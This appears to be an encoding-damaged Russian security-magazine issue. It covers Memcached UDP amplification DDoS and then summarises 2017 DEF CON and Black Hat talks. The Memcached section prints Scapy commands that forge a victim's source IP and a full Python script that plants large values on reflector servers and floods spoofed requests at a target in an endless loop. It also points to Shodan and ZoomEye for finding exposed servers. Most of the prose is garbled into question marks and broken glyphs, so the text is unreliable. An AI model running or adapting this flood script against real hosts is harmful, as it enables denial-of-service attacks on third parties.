????� IP?????�?� ?????�???�?� (IP� Spoo?ng).� ???� ???�????�??� ??????� ???�?
???�???�??�?????�??營P��??????�?燬ource.�????�??�??�??�??�????�???�
???� ???� ???�???�??� ???� ????�???�??�???� ???�????� ?????�??� ?????� ??� ????�
???�??� ?� ????� ????� ?????.� ?????� ????�??� ???�?� ???�??????� ??????
??�????�???�???�?????�???????�?????�?�?????�??�??�???�????�??
???�???.
Memcached� ??� ????�????� ????�?� ??????�???� ???�??� ??� TCP?
????� 11211� ??� ??????�??� ????�?.� ????�?� ????� ??� ??� ????�???�???�?� ?� ?
???????� ?????�???� UDP?????� ???� ???� ??� ???????,� ????�?� ???� ??� ????� ????�
??????� ????????�??.� ?????� ??????�??� ?� ???� ????�??�?� ???�?� ?????�??
????,�??�?�?????�???�??�???�?�??�???,�??�???�??,�??????�??�????
?????�????�??�???�?燭CP,�??�???�??�?�?�??�???�?????�????�??�????�
???.
?????�??� ??� ???�??,� ???????� ??????�???� ????� ???�?????� (???�???????
?????�??�????�??�?�??�???�???��????�??).
????,�??????�??�??燚oS????�?????
???�???�???�?,�?�??�?�??�?�?�???�????燯DP?????�211�??�??�?????.
memcached.c
7482:牋牋爄f�(tcp_specified�&&爏ettings.port�!=�&�!udp_specified)�
{
7483:牋牋牋牋爏ettings.udpport�爏ettings.port;
7484:牋牋爙爀lse爄f�(udp_specified�&&爏ettings.udpport�!=�&�!
tcp_specified)爗
7485:牋牋牋牋爏ettings.port�爏ettings.udpport;
7486:牋牋爙
???�?????�??�?????�??�?�???�??�????�??:
echo�en�"\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"爘爊c�q1�u�7.
0.0.1�211
???�?????�??�??�???燤emcached�?�??�??????
??�??� ?????�??�?� ???�????�??� Scapy� ?� ???�???�?� ????�??� ???�???� ?????,
???????�????�?�??�??�??�????.�?????�???�????��?????�??�?????�
??.�?�??????�?燬ource�燚estination�???�???�??????�?� src� ?� dst.� ?� ????�
???� ????� ???�??� ?????� ??????,� ????� ??� ?????� ?????�???� ?????,� ?????�
???????�??�??�????燤emcached,�??????�??�??�?�??�??�???.�????�?
?????�?????�???�?�?????爉emcvictim�營P?????�??�2.17.0.2.
root@attacker:/#爏capy
Welcome爐o燬capy�(unknown.version)
>>>爌ck_ip�營P(src="172.17.0.2",燿st="memcdosbot1")
????�?�???�?�????�????�?????.�� sport�????�???,�?�??????�????
??????�??�????,�燿port��???,�?�??????�????�??�????.�??�????�???
????燤emcached�211.
>>>爌ck_udp�燯DP(sport=31337,燿port=11211)
?�????�??�????�?�??�??�?�????�?????�???� stats爏izes,� ???????� ???????
???�??�???��??�????�??�??�??��???.
>>>爌ck_data��"\x00\x00\x00\x00\x00\x01\x00\x00stats爏izes\r\n"
????�?�??�?????�???�????,�????�??�???�??爐cpdump�?�?????爉em?
cvictim,�??�?�??�??�??�???�???�??�????�?????.
root@memcvictim:~/memcached?1.5.5#爐cpdump�X爌ort�337
???�?�?????�???�????,�??�??�?�????�??�?�??�???爏end().
>>>燼ns�爏end(pck_ip/pck_udp/pck_data)
???�???營P?????�?��?????�?�???�?�?�????�???????�??
???�???�?� ???�?� ?????� ??� Memcached� ???�??� ??� ?????� ?????�??�?????�??.
???�??�?�??�???�???�?�?�??�???,�??�??�??,�??????�?�????�???.
????�?????�?????�???�?�????�?爏tats,�?�????�????�??�???�?.
??�??�????�??�????�?燤emcached??????�?爏tats
??�?????�??�??�??�?????????�???�??��???,��????��??�?�??????�?
1400� +� 508� =� 1908� ????,� ???� ???�??�?� ?� 44� ????� ????�?.� ??????� ??
?????�?????�?????��??�??�????�?燤emcached�??�??�???�??�??�????
????�?.�??�????,�??�?�??�???�???�??�?��???????��????�??�??�????
???�??� ???�???� ???�???,� ?� ?????,� ??????�??� ?????�?� get� <???_?????>,
?????�???� ??� ??� ???�?????� ??????.� ???�??� ???�?� ????????� ???�??� ???�?
???�???�??�??�??,�??�????�?�??�????�????�??�??:� get�???_?????_1>
<???_?????_2>�???_?????_3>.
?�??�??�??��????�??�??�????�??�?�?????�???�?�????�?爂oogle.com.
44254.py
38:爌ayload�爎equests.get("https://google.com").text
...
78:牋牋牋牋牋牋爉c�爉emcache.Client([server],debug=False)
79:牋牋牋牋牋牋爉c.set(payload_key,爌ayload)
????�??� ???� ??� ?????�?� ?� ???????� ????� ????????�??�?.� ???�???� ????????�
????�???�??????�?????.
import爎equests
import爉emcache
import爎e
from爏capy.all爄mport�*
payload�爎equests.get("https://google.com").text
???�??爇eys�????�????�???�??�?�??�???�???�??�??.
keys�燵
牋�"key1",
牋�"key2",
牋�"key3"
]
?爌ackets��??�????�?????��?????�?�?????.
packets�燵]
?�??????�??� SERVER_LIST�????�??�???�???�?�??�????�??�????燤em?
cached.��??�?�??�?�??�爉emcdosbot1�爉emcdosbot2.
SERVER_LIST�燵
牋�"memcdosbot1:11211",
牋�"memcdosbot2:11211",
]
?燬ERVER_TO_ATTACK�??????�?營P??????��???�??�?????�?????.
SERVER_TO_ATTACK��"172.17.0.2:11211"
target_ip,爐arget_port�燬ERVER_TO_ATTACK.split(":")
??�???� ??????�?� ?� ???�??� ???�????� ??� ??????�??�?.� ???�???� ???�????
????�???��??�????.
for爏erver爄n燬ERVER_LIST:
牋爄f�':'爄n爏erver:
牋牋牋爏erver,爌ort�爏erver.split(':')
牋燾md��"get"
牋爁or爇ey爄n爇eys:
牋牋牋爉c�爉emcache.Client([server],debug=False)
牋牋牋爉c.set(key,爌ayload)
牋牋牋燾md�+=�"爗}".format(key)
????�?� ????� ??� ???�?????�???� ??????� ?� ???� ???????� ?� ???�??� ???????,
???????��?????�?.
牋爌ck_ip�營P(src=target_ip,燿st=server)
牋爌ck_udp�燯DP(sport=int(target_port),燿port=int(port))
牋爌ck_data��"\x00\x00\x00\x00\x00\x01\x00\x00{0}\r\n".format(cmd)
牋爌ackets.append(pck_ip/pck_udp/pck_data)
??�???�???�?????.
while燭rue:
牋爁or爌acket爄n爌ackets:
牋牋牋爏end(packet)
???�?� ????� ??� ???�?????� ??????� ?????� ???�??�?� ?????� ?????�??� ????�
???????.
??�?????�??�??�??�??.�?????�???�?????�?�?????????�??
?????��??????�???�?爓hile燭rue,�?�??�??????�??�?�???�?�??????�
??????�??�????�?燼syncio�??�???�???�??�?????�?�??????.��???�?�???
Scapy� ???�?� ??????�???� ???�??� ?� ???�????�??� ??????,� ????� ?� ????�??�?
??????爏end�???????爈oop=1.�?�??�??�?�???�??�?��??�???�??�????�?,
??????�??�?????�???�?�?�?????.
????????�????????
?�??�???�??�??�??�????�??�??�?????��??�?????�??�?????燤em?
cached,� ??� ?� ?????�??� ???�??� ???� ???�???�??� ???�?� ???�???�????�?� ????�
????�???� ???�?????� ???�????�??� ???????�??� ?????� ???�????.� ???� ??� ??????
??????�??�???�??�????��??????�??�???�??????�???燬hodan�燴oomEye
????�?�????�?�????�????�????�?�??�??�??�????�????�????�??�??.
???�??�??�??�??�?�??�???燴oomEye�??�????�燤emcached
???�??�??�??�??�?�??�???燬hodan�??�????�燤emcached
????�?� ??????�?� ????�??� ??????�???.� ????� ?????� ???� ???�?� ??????
??� 11� ?????� ???�??� ?� ?????�???� ??� ?� ??????� ?????� ???�????,� ??� ??????�???
???�????� ????� ????�?� 2,64� ?????/?.� ???� ????� ????�????� ???�????� ?????�
????�?�???�??�?�???�????��????.�?????�???,�??�??�????�??�??�?
?�?�???�???�??�????�???�?�?????�?,�??�??�??????�?�??�??�??�???�
?????.�?�??�??�?�??�?????�???�??�??�?????�??�???�?.
??�???�????� ???????� ????� ????�?� ?????�???� (Amir� Khashayar� Moham?
madi)� ???????� ??� GitHub� ???�?� ???????�??� ??� Python� ???�???� ??� ????�??
???�???�?� Memcrashed,� ???????� ?� ????�???�??�??� ??????� ???�??� ???�??
?燬hodan��??�?????�??�????�燤emcached.�????�?????�?�??�?????�???�
???�??�??�????�?營P??????,�??�????�?????�?�?�??�??�???.
????????????�?????????�(?????)
??????
???� ??????,� ????�??�??� ???�?????� ???�??� ?� ?????� ????�????� ????�????.
????� ??� ????�??�??� ????�?????� ????�?????� ??????�????� Memcached,� ??
???�??� ?????�??� ????� ?U� 0� ???� ??udp?port=0,� ???�?� ?????�???� ???�??�??
UDP.� ???� ???�??????� ???�?� ???� ??????� ???�??�?,� ????� ?????� ???� ????????
???�???�??�??�??�?�?????�??????�???�?�??�?�??�???�?.
???�?� ??� ?????�???� ???� ??� ????�??� ????� ???�???� ????�??????� ?????�??
????�??,�??�?�??�?????�?�???�???�?��??�???�???�???,�??????�?????�
??� ??� ????�??� ???�??� ???�???�??.� ????� ??� ???� ?� ???� ???�?� ???�?????
???????� ???�??� ???�???� ??� ????�??� ???????�??� ???�??,� ???�??�?????
??????�??,�?��????�?????�???????�?.�????�???�?�??�?�?�??�?,��?,
???� ????????� ???�??�??� ?� ???????�??� ???�?,� ?????� ?????� ????�??�?� ????�
????�????��??�??�???�?????�????�?.
?????
??????????????
WEBAPP
10�??????�???????
?�?????????????
?????�????
???????�?�?????????????
????????????.�??????????
??????,�????????????
�?????�?????????�
????????????�???????�,�
?????????�?????�???????
???�???????????.�??????
????????????????
?????????��??????????????
????????,�????????��????
??,�????????????
?????????.
vedacoder@mail.ru
???�??� ???????�??� ???�??� ???�???� ????� ??� ????�?� ?� ????
?� ???�?� ???�????� ???�??????� ?� ???�??�????� ??� ??????
?� ?????� ???�???.� ??� ????� ???�???� ???�???�?� ???????�???�
????�?�???��???????�????�???�??�????�??�(??????�?
?????� ????????� ??�???� ???�?????),� ??� ?� ??????�??� ???
???� ?????� ???�????�??� ???� ?????�???� ????� ????�????.
???�??� ?????� ??????,� ???�????�??� ????�??�??� ???????�
?????,� ???????� ???�?� ???�???,� ??� ????�?????�?� ?� ??????
???�???�??�?�???.�???�?�??�?????,�?????�??�??�???�
????????,� ?????�?� ??� ???�??�???.� :)� ?� ????� ?????�?� ?
?????�???�??�??�??�??????,�??�????�??�??????�????
WebApp.
?????-??????????燙HROME�??????????�???????
Tomer� Cohen.� Game� of� Chromes:� Owning� the� Web� with� Zombie� Chrome� Exten?
sions�//燚EF燙ON.�17
16� ????�?� 2016� ????� ?????� ?????� ????�?????� ???�???� Wix,� ???�????
?????� ????�???� ?� ???�????� ?� ???�????� ?????�?� ???????� ???????�?.� ???�?
??????� ???�????�??� ???�?????�?� ???�??�?� Chrome,� ???????� ?� ??????�???
???????�??????�????� ????� ????�??�???� ??� ?????�??� ?????� ?????�??.� ????
??????�???�?� ??� ???�?????�?� ???� ??????�????� Wix?????� ????�????
???????�??� ?� Facebook???????� ???�??�???� ?� ???� ???????�??????�????
???�?� ????�?????�??� ????� ????????????�????.� ???� ??????� ????�?� ??� ??
?????�??�?�??�???????.�?�???�??�??�???�????�?�???�???�???�?????�
??????� ???�??�????� Facebook??� ?� ???,� ???�?� ???� ???�?� ??� ???�?� ???�???�
?????� ???????�??� ??????�?????� ??� ???�????�??� JSE?????,� ???????� ?????�
???�????� ???�??�??�???� ???�??????� ?� Chrome????�??�?� ???�??.� ?????
???� ???�??�??�???� ???�??????� ???�??�??�???�?� Facebook???????� ???�???�
????�??�??��?????�??�??�?�??�??????�???�???�??�???�???�??�?
?????.
???�???�??�??�??�??????�?,�?????�??�?�?�????�????�?,��??�??�?
????,� ???� ???� ????�??� ???????�???�????�??� ???�???� ????�???�??� ?????.
????�?�??�?�??�??�???�???,�??�???�?�?????�??�??�?????�?�??�??�?
???�?????� ???�??:� ??????�???� ????�????� ?� Facebook,� ???�?????� ???????�?
?燱ix,�?��???�?�????�???�????�??�????�?�??�?�???�?????�?.��???�
???� ???�???,� ???�??�??�???� ???�????�??� ???�??????� ?� Google� Web� Store
?� ??� ????????�??� ???�??????�????� ???�?� ????�???� ???????�??� ?????,
?????�?�???�??�??�??�???�??�??,�???�???�?燝oogle燱eb燬tore��???
??????�??�????.
???�?�???,�??�??�????�?�???�???�???�?,�??�??�???�?�??????�??
???�??????� Chrome� ???�???� ???� XSS.� ????� ??????� XSS,� ??????�?� ????�
?????�?�???�???�??�??????�???�??.�??�??��??�??��??�???�???�???�
??????�??� ???�???�???� ??� XSS� ?????� ????� ????� ?????� ???�???????�???,
???� ?� ???�??� ?� ???�???�????� ???�???�????�???� XSS� ??� ???????�??.� ?????
????� ???�??� ?� ???�??????� Adobe� Acrobat� ???� Chrome,� ???????� 10� ?????�
??�16�???�???�????????�???�??�???�??�???�?燗dobe�?��??�?????
?????�??�??.� DOM???????� XSS????�??????,� ???�??�??� ?� ????� ???�??????,
???�?????� ???�???�????�?� ???�?????� ???�???,� ?????�?????� JavaScript????
??�??�?�??�?燗dobe??????�?�??�??????.
?� ???�???� ???�??�???�???,� ???� ?????�??� ???�??� ???�????� ?� ???�???
?� ???�???�???� ???�??�?� ???� ???�??�??� ???�??,� ????�????� ??????�??� ????�
???????��??�?.�??�?�???,�??�?????�??�???�?�????�???�?�??�??�?,
???�???�??��?????�??�????�??�???.�?????�??�???,�??�??�???�?????
?????� ??????�?????� ???�????�??� ???�???� ???� ????????�??� ???�????� ????�
?????�??� ?????�??� ???�????� ?� ?????� ???�???,� ?????� ???????�??� ????�???�
???� ????�????� ?� ?????� ????�??� ???�?????� ?� ???????�?� ???�??�??
????????.
?????�?�?????????�?????????�?�???????�??????
Iskander燬anchez?Rola,營gor燬antos,燚avide燘alzarotti.燛xtension燘reakdown:燬e?
curity� Analysis� of� Browsers� Extension� Resources� Control� Policies� //� Proceedings
of爐he�th燯SENIX燬ecurity燬ymposium.�17.燩.�9?694
???� ?????�??� ???�??�????�??� ???�??�?� ???�????�???� ????????� ????�
???????.� ???�???�?� ???�???�??� ???�??????� ???�?� ???�???� ?� ???�???�??
????�???�?,� ???� ?� ???�?????� ???�?� ???�?� ????�???????�??� ???� ???�????�
?????�??� ???�????.� ?� ???????� ???????�?� ???�??????� ???�???�????�?
???� ???�?� ??????�?� ???�????�????�??� ???????�??,� ????�????�???� ?????�
???� ????�?,� ????�?� ??????.� ???� ???� ????� ?????�?� ???�???�????�?� ?????
??????�???�??�????�???�????�??????�?????�??�???.
?� ???�????�??� ???�??�??� ?????�????�?� ????� ????�??�?,� ???????
??????�?� ???�??????� ?� ??� ?????�?� ??� ???�???� ?� ???� ??� ???�???� ?????�?
???.� ????�?� ???� ???� ????�??�?� ???�??� ?????� ??� ????� ???�???:� ????� ??
?????�????�?,�???�??�????�???�?�????�??�??.
?� ????� ???�???� ????�???�???� ???�?� ??� ???�???�??� ???�??????
??�???????�??????,�??�??�??�?????�??�??�??�??�??�?�??�??�?�???�
????.�??�??�??�?�???�??�???�????�??�????�??�????�??�??????�?,
??�???�??????�??�??�??�??,��??�??�?燙hromium,燜irefox,燤icrosoft燛dge,
Safari.
???�?� ?� ???�???� ??????�??�???�?� ???�???????�??� ???�???�???� ??� ????�
????�??� ???�??� ????�???� ????�????�???�??,� ?????� ???????� ????�???�??
????�????�??�???�??�???�??�??�??????�????�??�???.
????????????�????��??�?燬QLITE-??????????�?
??????�????
Siji燜eng,燴hi燴hou,燢un燳ang.燤any燘irds燨ne燬tone:燛xploiting燼燬ingle燬qlite燰ul?
nerability燗cross燤ultiple燬oftware�//燘lack燞at.�17
SQLite� ??????� ??????�???�?� ?� ?????�??� ?????�????� ??� ???� ??????�???/
???�??�??�?� ???�???�?� ?� ????�?????� ???�?,� ?????� ???� ???????�??�?
?� ??????�??� ????.� ???� ??????�????� ??,� SQLite� ???�???� ???� SQL????�????.
???�??�??�?燬QL????�????�????�?�??�???�???�??�???.�????�?��???�
????� ???�??� ??????� ??� ????�?� ???�????�??� ??????� ?� SQLite.� ????�?� ???
????�?� ??� ???�???�?� ????�???�?� ????�?????� ?????�??????�????,� ?� ?????�
??????�???,�??�??�???�?�????�??�??�??�?????�?.�???�?��???�??�???
???�???�??�???�?�???�????�??�????�??�?????�????�??�??�??�??�??,
???�?�???????,�??�????�??�???�???�???�???�??燬QLite�???�????�????�
?????.
??�????� ?� SQLite????�??�??� ??????�???� ?� WebSQL.� ??� WebSQL� ?
???� ?????????????� ???� ???�????� ???�??,� ???�??� ?� ???????� ?????� ????
???????� ???�???�???� SQL????�????.� ????� ???????� ????�?� W3C� ????�?????
???�?????� ???� ???�???�????� ?� 2010� ????,� ???�??� ???�????�??� ???�??�?� (?
???� ???�?� Google� Chrome,� Apple� Safari� ?� Opera)� ???� ???� ???�?� ?� ???�?
?????�????�???????�??�??�????�????�?�???�?燬QLite.
?� ???�???� ???�???�???� ???�???�?� ???�?????� ???�??� ?� ???�????� SQLite,
???�??�???,� ?????� ???�???� ???� ???�?� ???�???� ??� ???�??�?� ?� ?????� ???????�
????�?� SQLite� ???�????�???� ??� ???�???�??� ???�?� ???�????.� ???�?� ????,
?� ???�???� ????�???�???� ?????�??� SQLite????�????�?,� ???????� ???�?????
??????�????� ???� ???�??�???�??� Apple� Safari.� ????� ?????�??� ???�????�??
???�????�?� ????�??�?� ???� ???�??�?,� ???????� ???�????�???� ??� WebSQL,
?� ???� ???�?� ???�???�??� ???�????�?� WebView� (Android)� ?� UIWebView� (iOS),
???????�?????�?????�???�?��?????�??�??�?.
???�?� ????????,� ??????� ????�???�?� ???�???�????�?� ?????� ????�???�?
????�?????????�???�??燬QLite????�??????,��??�???�??�???�?�??�???�?
???�????� ???�???�??� ???�???�??�?� ???�??�??� ???�??� ???�??� ???�??�??
?�???�???.
?�??�??�??�??�???�????�???�??,��??�??�?燩HP,燣ua�燡ava,�???燗PI
???� ???�??�?� ?� SQLite.� ?????�?� ????�?� ???�????�??� ??????� ?� SQLite,
??????� ???�?� ???�???,� ???�???�?� ???�???????�??� ???�???� ??� ???�???
???????�????�???�??�??�???�????�???�??.��????�??�??�???��??�???
???�?????�??�???�?,�??�???�??�???�?????燩HP????�??�????�??燬QLite?
???�??????,� ???�?� ????�?� ????�???�??� ???????�????,� ???�??�?????�??
?燩HP.
????????�????????��????????�??�?????????燙SRF????
Joe燫ozner.燱iping爋ut燙SRF�//燚EF燙ON.�17
CSRF� (Cross� Site� Request� Forgery,� ???�??�????� ???�????� ???�???)
??� ????�?� ???�?� ????�??�??�?� ?� ????�???� ?????�????� ?� ?????� ????�??�???
????,� ????�??�??� ????�???�??,� ?� ???�?� ?????� ????,� ???� ???�????�???� ????�
?????� ??� ??????�?� ????� ????� ????�???,� ?� ????� ?� ??????�?,� ??� ??� ???�?,
???� ??� ???� ????????�?.� ???�?????� ?� ???�?� ???�????�??� ???�??� ???�???�?
?�???�????�??�??�???�??燙SRF?????,�??????�????�???�??�????�?�???�
???� ??????� ???????�?,� ??????�????�?� HTTP� (?� ???????� ?????�??�?� ????�
?????�??� ???�???????� ?????�???????� ?� ??????�???�???� HTTP????�???
?燞TTP?????�?).
???�????�??� ????�???�?� ??????????� ???�?� ????�?????� ????????�??
???????� ???� ???�???�??�????� CSRF.� ???� ???????� ????�???�??�?� ????????�
????�?��???????��?????�?????�???�???��???�???�??�??�???.�????�
??�??�??�??�??�??�??�???�??,��??�?�????�??�???�??,�??????�???
??� ??????�???� ???� ????�???�?� ????�?,� ????� ??????�???� ??� ?????�??�??,
???????�???�??�????�?燙SRF.
???�?????� ???�????� ???�???�?,� ??????� CSRF� ???� ???� ????,� ???�???�??
???� ????� ???�???� �????�??� ???�????�,� ???????� ???�??�??�???� ???�???�??
????�???��?�??�?????�???�????.�??�?????�??�????�????�?????�???�
???� ????� ????� ?� ??????�???,� ???� ???�????�??� ?????� ????�???�?� ????�???
????????�?�?�??.
??�??�??�?????�?????�???,�??�??�?????�???�??�???�?????�??�????�
??� ?� ???�??� ???�??�???�??� ???????,� ???�??�??� ???�?????� CSRF� ?� ??????�
??????�???�???�??�???�???.�??�???�???�???�???�??�????�???�????�
???� ?� ???�??�??�??� ????� ????�???�??.� ???� ?????� ???�??� ???�????�??� ????�
??????� ???�???�???�?� Same� Site� Cookies� ?� ?????�??� ???�??????� ???�??
CSRF� ?� ?� ???�???�?,� ???� ?� ??????� ???�??�??� ??????�?� ???�??????�???�?
?�?�??�??�??????.
???????????????�??-??????��??燙2�(COMMAND燗ND
CONTROL)
Dimitry燬nezhkov.燗busing燱ebhooks爁or燙ommand燼nd燙ontrol�//燚EF燙ON.�17
??�??� ???�??� ??� ????????.� ??????�???,� ??� ?????� ???�??�?� ???????�???�
???,� ???�???� ???�???� ???� ?????�???� ?????�?� ??� ???�?� C2????�???.� ??� ???
????�???:� ?� ???�??� ??� ????� ???�???� ???� ????�?????� ????�?????� ?� C2?????�
?????� ?????,� ?� ?????� ???�???????� ???�?????�???.� ??????�?????� ???????
DNS????�??� ?� ICMP????�??� ??????�??�?.� ???�???� ?� ????????� ???�???�??
???.� ?????�?,� ???�???�????�?� ???�???� ???�?????� ??????� ???????�?� ?????�
????????�?????� ???�?� ?????�???� ???�???,� ??� ?� ??????�???� ??� ?????,� ???� ???
??� ?????� ???�??�???� ???�??� ???�??�??�?� ????�?????�???,� ???????� ???�???�
????�?� ???�??� ?� ????�??� ???�??.� ???�??� ?????�????� ??????�???� ??????
?� ?????� ???????�?,� ?� ????????�?� ??� ???� ??????�?� ???�??�????�??� ???�???
????????� ????�????� ???�??�????� ?� ????.� ?� ???�???� ????�???�???� ???�???
??????�????� ?????� ???�?� ???�???�???� HTTP????�????:� ???�??�??�??� ????�?
�??????�??� ???�??粻 ???� ?????�????� ?� ??????� ?� ????�??� C2????�????
?????�???????.
???�?????�???�?�??�??�???�?,�??�????�???????��??�?�?????�?????.
?????� ??� ???�???�?,� ???� ???�?� ????�???????� �???�?????� ???�?粻 ?� ??????�
???� ???�????�?� ???� C2????�?????�??,� ??????�???� ???�??,� ????�???� ?????�
????�??�????�?��?????�????�???�??�???.��??�??��????�??�??�???
????�?,� ???� ???�??� ???�????� ???�??!� ???� ?????� ???�?????� ??????�??�???
?????�???� ???�??�???,� ???????� ????�???�???�?� ???�??�??� ?� ???�???� ????�
????.
?????�????????燬SRF-????:�????????�??燯RL-????????
?????�?????????????�?????�???????????????
Orange� Tsai.� A� New� Era� of� SSRF:� Exploiting� URL� Parser� in� Trending� Programming
Languages!�//燘lack燞at.�17
???�?????� ??????�??�???� ????�???�??�?� ?????� ???�???� ???�???�??
SSRF????�??�???�(Server燬ide燫equest燜orgery,�??�????�??�???�?�??�???
???�???).�??�??�???�??�?????�?�??�???�?�????�?????燬SRF?????��???�
????�?� ????�???� ????� ?????� ???�????�??� SSRF?????�??�?.� ???�???�???
???�???� ????�???�???� ?????� ???�?????�??�??� ???�??,� ????�??� ??????�?
???�??� ????�???�??�??� ?????� ???�???�??�??� 0day????�????�??� ??� ??????�
?????� ???�????�??� ???�??� ????�????�???�??.� ????�???�??�??� ?????� 0day?
???�????�??� ?????�?� ???� ??????� ?????�???� ???�???� ???� ???�????,� ???????
??????�???�?�?�???�?�???�?�??�??�????�??,�??????�???�????�?�?????�
???????�?????� ???�????� URL????�????� ?� URL????�????.� ????�???� ????
?????�??????�????� ???�????�???�?,� ?� ???� ????�????�?� ?????�????� ????�
?????�??�???�??�??�???�????�???�??,��??�??�?燩ython,燩HP,燩erl,燫uby,
Java,燡avaScript,燱get�燾URL.
??�??�???�??,�???�???????,�??�??????�??��??�???�???�???�???�
???� ?� ?????�????� ???�?????,� ?????�????�?� ???�??� ???� ??????� ??????�??
SSRF?????.� ?� ???� ???�?� WordPress� (??� ????� ??????�?� ???�????�?� 27%
???????�?),爒Bulletin,燤yBB�燝itHub.�?�???�???�??????�???�???�??�?????
????�????� 0day????�????�?,� ???�??�??� ?� ?????�??????�?????� ???�????
URL????�????� ?� URL????�????.� ?� ???�???� ??????�?� ??� ?????� ???�????,
???� ???�?????� ???�??�??� ???� URL????�????,� ???�?� ????�???� SSRF???????
?� ?????�????� RCE� (Remote� Code� Execution,� ???�??�??� ?????�????� ????).
?????�??????� ?� ????�???�???�???� ?????�??� ????�???�???� ???�????�??
???�???,� ???� ??� ????�????�?,� ???� ???�?????� ?????� ????�?� ????�???� ????�
?????�???�??� ???�????�??� ?� ???�??????�??�??� ???�??� ????�????�???�??
?�????�??�??�??�????�??�??????�?.
DOM�????????�?????�??????:�????燲SS????????????�??????????�?????-????????
Sebastian� Lekies,� Krzysztof� Kotowicz,� Eduardo� Vela� Nava.� Don?t� Trust� the� DOM:
Bypassing燲SS燤itigations爒ia燬cript燝adgets�//燘lack燞at.�17
XSS�(Cross?Site燬cripting,�??�??�????�????�???)��??�????�??�??????
??????� ???????�?.� ??� ???�???�??� ???�??� ???� ????�??�???�???� ???� ?????
?� ?????� ?????�?� ????????� XSS.� ????�???�??� ????� ???????� ???�?????�???
??� ???�??�?� ?????,� ?� ???????� ???�?� ?????�???� ?????�?,� ?� ??� ???�??�?� ?????�
???�????� ???????.� ??????�?� HTML-?????�?????,� ?� ???�???,� ??????�?
??�??�????�????�????�?�???�??�????��???�????.�??�??�?????�?,� CSP
(Content燬ecurity燩olicy,�?????�?�?????�??�????),�??�???�?�?????�?????
?????�????� ????�??�???� ???????� ?� ????�???�???� ?????�????� ?� ???????�
???????�????�?�????�???�??.
?� ????� ???�???� ????�???�???� ?????� ???�???� ????�?� ???????�?,� ???????
???�???�?� ???�???�????�?� ????�???� ????�???�??� XSS????�???�????.� ????
????� ???�???� ?� ?� ??????�??????� ???� ??????�???� ??????????�????.
??????????�??��??�????�??�???�???燡S?????�?�???????�???,�??????
???� ??????� CSS??????�????� ???�???�?� ?????�????� DOM????�??�??
?� ?????� ????�???�???� ??� ?????� ????�??,� ???�?� ?????�????� ???�????�??
??????.
???� ???�???�????�??� ??????????�????� ???�???�?????� ????�?� ??� ?????�
????????�??� JS????�????,� ???????� ???�????� ???� ????�?� ?????�??� JS????,
??� ?????� �??�??�?粻 ???�???�???� ???�???�??� ???�???� ?� ????�???�????�?
DOM????�??�?.� ????�???�???� ??????????�??� ?????�???� ??????�????
???�??�??�??�??�???�????�?�????�?.�??�???�?�??�???????�?�??????�
???????�??� ???�???� ???�????� ???�??????�???�??,� ??� ???�?� ???�????� ????
XSS????�???�????.
?� ????�???�???� ???�???� ???�?????�??�???�?,� ???� ??????????�???� ????�
????�??�?�???�????�?�?�???�??�????�??燡S????�????�??,燗PI��???????�
??.� ?� ???�???� ????�???�???� ???�???�?� ??????�??�??� ?????�???�??� ?� ??????�
???�??�???�?�????�??�???,�?????�??�?????,�??�????�?????�????�
????�??�???�????�??�???�??????�??�???�??�????燲SS�????�??????�?.
ELECTRONEGATIVITY:�???????????�???????????燛LECTRON
Luca燙arettoni.燛lectronegativity:燗燬tudy爋f燛lectron燬ecurity�//燘lack燞at.�17
???�???� ???�????�?????� ???�????�???,� ???�??� ???�??� �??�???�??
???�???�??粻 ?� ?????�???� ???�???� ?????� ????�?� ???????�????.� ???�?� ????�
????�??� ???� ??????�?� ????�??�??� ???�???�??� ?� ????????� ??� ?????�?� ????�
????�?� ????????� ???�?????.� ???�??� ???�????� ??????� ???�??�??????� ????�
????�??�??�??�??�?�??�???�??,�?????�??�??�???�?�?�??�??????,�??
?�??�??�????�?�??????�?.�???�?�????�??????�??�???�???�??,�????�
??????�???�????�??�???????,�燝itHub???????燛lectron,�??????�??�????�
??�??�?????�?????????�?????�??�??�???�??�??�???�??�?�???�?�????
???�??????,�??燡avaScript,燞TML�燙SS.�???�????�??�??�?�??�??�?????
?????�?� ????�?� ???????�??,� ?????�??�??� ???????�??????� ?� ????�??�??
???????�?�(Chromium,燦ode.js)�????�???�????�???�???��????�???????�
??????.
?�???�??�???�??�????�??�???�?燛lectron???????�?????�??????�????
?� ???�??� ????????� ???�????,� ???????�???� ???�???�?� Node.js� ??� ????�
??????�???� ???�????.� ???�????� ???�???� ????�?????� ???�????�?� Electron??,
?� ???� ???�?� ?????� IPC?????�???�??� ?� ????�?????�?.� ???�?� ????�???�???
??????�???�??�???�????�??????�????�??燘rowserWindow�燱ebView,�????�
???�?????�??�??��???�?�????�????��??�???�???,�??�??�????�?�???
Electron?a.
???�?� ????,� ?� ???�??� ???�??� ?????�???�??� ??� ???????�????� Electron??
???�?????� ????�??�??� ???�?� ?????� ?????�???�?� ????� ?� ???�??� ????????�
??????� ???�????�??� ???�??� ????�??�????.� ???�?� ???�?????� ????�??????
????�????�??�??�???�(Electronegativity),�???�????�??�??�??�???�???�???�
????�???�?�??�????�??��??�???�???,�??�??????�??�?�???�?燛lectron??.
???�?????????�??-?????????��????????????
????????????�???????��????????????�??????????
??????��?????????�??????
Natalie� Silvanovich.� The� Origin� of� Array:� How� Standards� Drive� Bugs� in� Script� En?
gines�//燘lack燞at.�17
????????�????� ???�???�?� ???�???�??�???� ?� ???�???�?� ???�???� ?????
???�???�??� ?� ????,� ???� ???�??�???�?????� ????� ????�?????� ???�??�?� ?????
??????.�???�?�????�??�?????�?,�??�???�???�??�?�???�????�?,�??�?
???�????� ?� ?� ?????� ????�????� ?� ???????�?????,� ?????� ???�????�??.
??????� ???� ???� ?????�????� ????� ???�?????�??� ???� ?????�??�???� ???�???�
?????�????�?????�???�?�????,�????�?????�??�??�??�????.
???�?????� ???????�?� ??????�??� ??� ?????�??� ????�??�??� ?� ??????�??
???�??�?????燡avaScript,��???�???�?�??????�燡S?????�?�??�?�????�???
?� ?????� ???�????�??� ???�????�?,� ???????� ???�????�?� ?????� ???�????�
??????�????�????�???�?,��??�??�?燗dobe燜lash,燙hrome,燤icrosoft燛dge
?燬afari.
?�??�???�????�???�??�???�???,�??�??????�??�???????�????��???�
?????�????�??�???�????�???�?�??�?�(???�??�??�???�??��??�????�??
?????�????� ????�??)� ???�????� ?� ???�????�????� ????�??�????� ???�????�??
???�??.� ???� ????� ?� ???�???� ??????� ???�??� ??� ??� ???????�????� ???�???�??
???�??,��?�??�???�??�???,�?????�??�???�?�???�????�??�???�?.
